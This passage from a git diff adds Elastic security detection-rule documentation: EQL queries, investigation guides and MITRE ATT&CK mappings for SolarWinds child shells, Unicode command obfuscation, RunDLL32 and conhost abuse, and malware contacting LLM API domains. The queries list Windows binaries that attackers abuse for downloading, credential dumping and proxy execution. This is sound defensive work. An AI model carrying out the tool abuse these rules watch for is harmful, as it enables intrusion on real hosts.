(MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and user.id != "S-1-5-18" and + (process.name : "forfiles.exe" or ?process.pe.original_file_name == "forfiles.exe") and process.args : ("/c", "-c") and + not process.args : ("-d", "/d", "cmd /c copy @file*", "cmd /c DEL /Q /F @*", "cmd /c del @*", "D:\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-execution-via-solarwinds-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-execution-via-solarwinds-process.asciidoc new file mode 100644 index 0000000000..389f7b6416 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-execution-via-solarwinds-process.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-21-command-execution-via-solarwinds-process]] +=== Command Execution via SolarWinds Process + +A suspicious SolarWinds child process (Cmd.exe or Powershell.exe) was detected. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html +* https://github.com/mandiant/sunburst_countermeasures/blob/main/rules/SUNBURST/hxioc/SUNBURST%20SUSPICIOUS%20FILEWRITES%20(METHODOLOGY).ioc + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Command Execution via SolarWinds Process* + + +SolarWinds is a widely used IT management tool that can be targeted by adversaries to execute unauthorized commands. Attackers may exploit SolarWinds processes to launch command-line interpreters like Cmd.exe or Powershell.exe, potentially leading to system compromise. The detection rule identifies suspicious child processes initiated by specific SolarWinds executables, flagging potential misuse by correlating process start events with known SolarWinds parent processes. This helps in early detection of malicious activities leveraging SolarWinds for command execution. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific SolarWinds parent process that initiated the suspicious child process (Cmd.exe or Powershell.exe) and note the exact executable name and path. +- Examine the timeline of events around the process start event to identify any preceding or subsequent suspicious activities, such as unusual network connections or file modifications. +- Check the user account associated with the process execution to determine if it aligns with expected behavior or if it indicates potential compromise or misuse. +- Investigate the command line arguments used by the child process to assess if they contain any malicious or unexpected commands. +- Correlate the event with other security logs and alerts from data sources like Microsoft Defender XDR or Sysmon to gather additional context and identify potential patterns of malicious behavior. +- Assess the system's current state for any indicators of compromise, such as unauthorized changes to system configurations or the presence of known malware signatures. + + +*False positive analysis* + + +- Routine administrative tasks using SolarWinds may trigger the rule when legitimate scripts are executed via Cmd.exe or Powershell.exe. Users can create exceptions for known maintenance scripts or tasks that are regularly scheduled and verified as safe. +- Automated updates or patches initiated by SolarWinds processes might be flagged. To mitigate this, users should whitelist specific update processes or scripts that are part of the regular update cycle. +- Monitoring or diagnostic activities performed by IT staff using SolarWinds tools can result in false positives. Establish a baseline of normal activities and exclude these from alerts by identifying and documenting regular diagnostic commands. +- Custom scripts developed for internal use that leverage SolarWinds processes could be misidentified as threats. Ensure these scripts are reviewed and approved, then add them to an exception list to prevent unnecessary alerts. +- Third-party integrations with SolarWinds that require command execution might be mistakenly flagged. Verify the legitimacy of these integrations and exclude their associated processes from detection rules. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes such as Cmd.exe or Powershell.exe that were initiated by the identified SolarWinds parent processes. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional indicators of compromise. +- Restore the system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Update and patch the SolarWinds software and any other vulnerable applications on the affected system to mitigate known vulnerabilities. +- Implement application whitelisting to prevent unauthorized execution of command-line interpreters from SolarWinds processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name: ("cmd.exe", "powershell.exe") and +process.parent.name: ( + "ConfigurationWizard*.exe", + "NetflowDatabaseMaintenance*.exe", + "NetFlowService*.exe", + "SolarWinds.Administration*.exe", + "SolarWinds.Collector.Service*.exe", + "SolarwindsDiagnostics*.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-obfuscation-via-unicode-modifier-letters.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-obfuscation-via-unicode-modifier-letters.asciidoc new file mode 100644 index 0000000000..51b283f937 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-obfuscation-via-unicode-modifier-letters.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-21-command-obfuscation-via-unicode-modifier-letters]] +=== Command Obfuscation via Unicode Modifier Letters + +Identifies the presence of unicode modifier letters in the process command_line. Adversaries sometimes replace ASCII characters with visually similar Unicode modifier letters or combining marks to evade simple string-based detections. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Command Obfuscation via Unicode Modifier Letters* + + +Adversaries sometimes replace ASCII characters with visually similar Unicode modifier letters or combining marks to evade simple string-based detections. + + +*Possible investigation steps* + + +- Review the process execution details (command_line, parent, code signature, hash). +- Analyze the full execution process tree to identify the root cause. +- Check the creation of any persistence using scheduled tasks, Run key, services, shortcuts or startup folders. +- Cross-reference with other logs or alerts to identify any related incidents or patterns of activity that might indicate a larger threat campaign. + + +*False positive analysis* + + +- Legitimate internationalized applications and installers use Unicode (e.g., localized product names, non-Latin scripts). +- Dev tools or fonts may create commands with combining marks (rare) — check installer/tool provenance. +- Command lines that include user input, file names, or paths with non-ASCII characters (e.g., user folders) can trigger the rule. + + +*Response and remediation* + + +- Isolate the host if there are signs of active compromise (outbound C2, credential theft, lateral movement). +- Terminate the suspicious process and any direct descendants after collecting forensic evidence (memory, artifacts). +- Collect EDR snapshots, full disk image or targeted file copies, registry hives, and network logs for investigation. +- Remove any persistence entries (scheduled task, startup, services) tied to the activity. +- Qurantine and submit samples to malware analysis; if confirmed malicious, remove and restore from known good backups. +- Block and update indicators related to this activity (hashes, exact normalized command patterns, codepoint sequences, IPs/domains). +- Run global hutning queries for same Unicode patterns, normalized variants, and identical parent/child process chains. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("reg.exe", "net.exe", "net1.exe", "certutil.exe", "MSHTA.EXE", "msiexec.exe", "bitsadmin.exe", "CertReq.exe", "PrintBrm.exe", "MSBuild.exe", "wuauclt.exe", "curl.exe", "wget.exe", "ssh.exe", "Cmd.Exe", "PowerShell.EX", "CONHOST.EXE", "wscript.exe", "cscript.exe", "REGSVR32.EXE", "RUNDLL32.EXE", "procdump.exe", "ntdsutil.exe", "diskshadow.exe", "schtasks.exe", "sc.exe", "wmic.exe", "VSSADMIN.EXE", "WBADMIN.EXE", "iCACLS.EXE", "sftp.exe", "scp.exe", "esentutl.exe", "InstallUtil.exe", "wevtutil.exe") or + ?process.pe.original_file_name in ("reg.exe", "net.exe", "net1.exe", "CertUtil.exe", "MSHTA.EXE", "msiexec.exe", "bitsadmin.exe", "CertReq.exe", "PrintBrm.exe", "MSBuild.exe", "wuauclt.exe", "curl.exe", "wget.exe", "ssh.exe", "Cmd.Exe", "PowerShell.EX", "CONHOST.EXE", "wscript.exe", "cscript.exe", "REGSVR32.EXE", "RUNDLL32.EXE", "procdump", "ntdsutil.exe", "diskshadow.exe", "schtasks.exe", "sc.exe", "wmic.exe", "VSSADMIN.EXE", "WBADMIN.EXE", "iCACLS.EXE", "sftp.exe", "scp.exe", "esentutl.exe", "InstallUtil.exe", "wevtutil.exe") + ) and + process.command_line regex """.*[ʰ-˿ᴬ-ᶻ]+.*""" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-shell-activity-started-via-rundll32.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-shell-activity-started-via-rundll32.asciidoc new file mode 100644 index 0000000000..c4c723ebf7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-command-shell-activity-started-via-rundll32.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-21-command-shell-activity-started-via-rundll32]] +=== Command Shell Activity Started via RunDLL32 + +Identifies command shell activity started via RunDLL32, which is commonly abused by attackers to host malicious code. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Credential Access +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Command Shell Activity Started via RunDLL32* + + +RunDLL32 is a legitimate Windows utility used to execute functions in DLLs, often leveraged by attackers to run malicious code stealthily. Adversaries exploit it to launch command shells like cmd.exe or PowerShell, bypassing security controls. The detection rule identifies such abuse by monitoring for command shells initiated by RunDLL32, excluding known benign patterns, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent-child relationship between rundll32.exe and the command shell (cmd.exe or powershell.exe) to ensure the alert is not a false positive. +- Examine the command line arguments of rundll32.exe to identify any suspicious or unusual DLLs or functions being executed, excluding known benign patterns. +- Check the user account associated with the process to determine if it aligns with expected behavior or if it indicates potential compromise. +- Investigate the source and destination network connections associated with the process to identify any suspicious or unauthorized communication. +- Correlate the event with other security alerts or logs from the same host or user to identify any patterns or additional indicators of compromise. +- Review recent changes or activities on the host, such as software installations or updates, that might explain the execution of rundll32.exe with command shells. + + +*False positive analysis* + + +- Known false positives include command shells initiated by RunDLL32 for legitimate administrative tasks or software installations. +- Exclude command lines that match common benign patterns, such as those involving SHELL32.dll or temporary files used by trusted applications. +- Regularly update the list of exceptions to include new benign patterns identified through monitoring and analysis. +- Collaborate with IT and security teams to identify and document legitimate use cases of RunDLL32 in your environment. +- Use process monitoring tools to verify the legitimacy of command shells started by RunDLL32, ensuring they align with expected behavior. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as cmd.exe or powershell.exe that were initiated by rundll32.exe to halt potential malicious actions. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious files or remnants. +- Review and analyze the rundll32.exe command line arguments to understand the scope and intent of the activity, and identify any additional compromised systems or accounts. +- Reset credentials for any user accounts that were active on the affected system during the time of the alert to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for rundll32.exe and related processes to detect similar activities in the future and improve response times. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("cmd.exe", "powershell.exe") and + process.parent.name : "rundll32.exe" and process.parent.command_line != null and + /* common FPs can be added here */ + not process.parent.args : ("C:\\Windows\\System32\\SHELL32.dll,RunAsNewUser_RunDLL", + "C:\\WINDOWS\\*.tmp,zzzzInvokeManagedCustomActionOutOfProc") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-conhost-spawned-by-suspicious-parent-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-conhost-spawned-by-suspicious-parent-process.asciidoc new file mode 100644 index 0000000000..77893a9018 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-conhost-spawned-by-suspicious-parent-process.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-21-conhost-spawned-by-suspicious-parent-process]] +=== Conhost Spawned By Suspicious Parent Process + +Detects when the Console Window Host (conhost.exe) process is spawned by a suspicious parent process, which could be indicative of code injection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-one.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Conhost Spawned By Suspicious Parent Process* + + +The Windows Console Host, or `conhost.exe`, is both the server application for all of the Windows Console APIs as well as the classic Windows user interface for working with command-line applications. + +Attackers often rely on custom shell implementations to avoid using built-in command interpreters like `cmd.exe` and `PowerShell.exe` and bypass application allowlisting and security features. Attackers commonly inject these implementations into legitimate system processes. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate abnormal behaviors observed by the subject process, such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Retrieve the parent process executable and determine if it is malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Related rules* + + +- Suspicious Process from Conhost - 28896382-7d4f-4d50-9b72-67091901fd26 +- Suspicious PowerShell Engine ImageLoad - 852c1f19-68e8-43a6-9dce-340771fe1be3 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "conhost.exe" and + process.parent.name : ("lsass.exe", "services.exe", "smss.exe", "winlogon.exe", "explorer.exe", "dllhost.exe", "rundll32.exe", + "regsvr32.exe", "userinit.exe", "wininit.exe", "spoolsv.exe", "ctfmon.exe") and + not (process.parent.name : "rundll32.exe" and + process.parent.args : ("?:\\Windows\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc", + "?:\\WINDOWS\\system32\\PcaSvc.dll,PcaPatchSdbTask", + "?:\\WINDOWS\\system32\\davclnt.dll,DavSetCookie")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-connection-to-common-large-language-model-endpoints.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-connection-to-common-large-language-model-endpoints.asciidoc new file mode 100644 index 0000000000..6a4e62980d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-connection-to-common-large-language-model-endpoints.asciidoc @@ -0,0 +1,285 @@ +[[prebuilt-rule-8-19-21-connection-to-common-large-language-model-endpoints]] +=== Connection to Common Large Language Model Endpoints + +Identifies DNS queries to known Large Language Model domains by unsigned binaries or common Windows scripting utilities. Malwares may leverage the capabilities of LLM to perform actions in the affected system in a dynamic way. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://malpedia.caad.fkie.fraunhofer.de/details/py.lamehug + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Sysmon + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Connection to Common Large Language Model Endpoints* + + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes or malicious scripts. +- Verify if the executed process is persistent on the host like common mechanisms Startup folder, task or Run key. +- Review any unusual network, files or registry events by the same process. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Extract this communication's indicators of compromise (IoCs) and use traffic logs to search for other potentially compromised hosts. + + +*False positive analysis* + + +- Trusted applications from an expected process running in the environment. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Immediately block the identified indicators of compromise (IoCs). +- Implement any temporary network rules, procedures, and segmentation required to contain the attack. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Update firewall rules to be more restrictive. +- Reimage the host operating system or restore the compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type in ("macos", "windows") and dns.question.name != null and +( + process.name : ("MSBuild.exe", "mshta.exe", "wscript.exe", "powershell.exe", "pwsh.exe", "msiexec.exe", "rundll32.exe", + "bitsadmin.exe", "InstallUtil.exe", "RegAsm.exe", "vbc.exe", "RegSvcs.exe", "regsvr32.exe", "dllhost.exe", + "node.exe", "javaw.exe", "java.exe", "*.pif", "*.com", "python*", "osascript", "Script Editor", "curl", "curl.exe", "deno", + "deno.exe", "node", "bun", "bun.exe") or + + ?process.code_signature.subject_name : ("AutoIt Consulting Ltd", "OpenJS Foundation", "Python Software Foundation") or + + ( + process.executable : ("?:\\Users\\*.exe", "?:\\ProgramData\\*.exe", "/Users/Shared/*", "/Library/WebServer/*", + "/Users/*/Library/WebServer/*", "/Library/Graphics/*", "/Users/*/Library/Graphics/*", "/Library/Fonts/*", + "/Users/*/Library/Fonts/*", "/private/var/root/Library/HTTPStorages/*", "/tmp/*", "/var/tmp/*", "/private/tmp/*") and + (?process.code_signature.trusted == false or ?process.code_signature.exists == false) + ) + ) and + dns.question.name : ( + // Major LLM APIs + "api.openai.com", + "*.openai.azure.com", + "api.anthropic.com", + "api.mistral.ai", + "api.cohere.ai", + "api.ai21.com", + "api.groq.com", + "api.perplexity.ai", + "api.x.ai", + "api.deepseek.com", + "api.gemini.google.com", + "generativelanguage.googleapis.com", + "api.azure.com", + "api.bedrock.aws", + "bedrock-runtime.*.amazonaws.com", + + // Hugging Face & other ML infra + "api-inference.huggingface.co", + "inference-endpoint.huggingface.cloud", + "router.huggingface.co", + "*.hf.space", + "*.replicate.com", + "api.replicate.com", + "api.runpod.ai", + "*.runpod.io", + "api.modal.com", + "*.forefront.ai", + + "api.arcee.ai", + "api.sambanova.ai", + "chatapi.akash.network", + "api.reka.ai", + "api.cerebras.ai", + "api.morphllm.com", + "openrouter.ai", + "api.moonshot.cn", + "api.moonshot.ai", + "api.z.ai", + "api.inference.wandb.ai", + "trace.wandb.ai", + "api.bfl.ai", + "api.eu.bfl.ai", + "api.us.bfl.ai", + "api.ionstream.ai", + "api.minimax.io", + "api.minimaxi.com", + "api.stepfun.ai", + "api.stepfun.com", + "api.featherless.ai", + "api.intelligence.io.solutions", + "api.fireworks.ai", + "inference.baseten.co", + "api.baseten.co", + "api.gmi-serving.com", + "api.ncompass.tech", + "api.nextbit256.com", + "api.hyperbolic.xyz", + "neuro.mancer.tech", + "managed-inference-api-proxy.crusoecloud.com", + "api.crusoe.ai", + "api.avian.io", + "api.siliconflow.cn", + "api.totalgpt.ai", + "switchpoint.dev", + "api.novita.ai", + "api.inflection.ai", + "api.wavespeed.ai", + "api.cloud.mara.com", + "api.inference.net", + "api.deepinfra.com", + "api.xiaomimimo.com", + "dashscope.aliyuncs.com", + "dashscope-intl.aliyuncs.com", + "dashscope-us.aliyuncs.com", + "integrate.api.nvidia.com", + "api.inceptionlabs.ai", + "api.friendli.ai", + "external.api.recraft.ai", + "api.cloudflare.com", + "gateway.ai.cloudflare.com", + "api.studio.nebius.ai", + "api.tokenfactory.nebius.com", + "api.aionlabs.ai", + "api.relace.run", + "instantapply.endpoint.relace.run", + "ranker.endpoint.relace.run", + "embeddings.endpoint.relace.run", + "console-api.inference.ai", + "api.parasail.io", + "api.redpill.ai", + "api.modular.com", + "ark.cn-beijing.volces.com", + "ark.ap-southeast.bytepluses.com", + "ai2endpoints.cirrascale.ai", + "aisuite.cirrascale.com", + "api.clarifai.com", + "api.venice.ai", + "api.atlascloud.ai", + "wanqing.streamlakeapi.com", + "api.ambient.xyz", + "api.upstage.ai", + "api.together.xyz", + "api.inceptron.io", + "chutes.ai", + "aiplatform.googleapis.com", + "portal.nousresearch.com", + "inference-api.nousresearch.com", + "api.githubcopilot.com", + "ai-gateway.vercel.sh", + "opencode.ai", + "api.kilo.ai", + "qianfan.baidubce.com", + "hunyuan.tencentcloudapi.com", + "open.bigmodel.cn", + "spark-api-open.xf-yun.com", + "api.sensenova.cn", + "api.baichuan-ai.com", + "api-inference.modelscope.cn", + "api.lingyiwanwu.com", + "api.360.cn", + + // Consumer-facing AI chat portals + "chat.openai.com", + "chatgpt.com", + "copilot.microsoft.com", + "bard.google.com", + "gemini.google.com", + "claude.ai", + "perplexity.ai", + "poe.com", + "chat.forefront.ai", + "chat.deepseek.com", + + // OpenClaw + "openclaw.ai" + ) and + + not process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\SystemApps\\Microsoft.LockApp_*\\LockApp.exe", + "?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", + 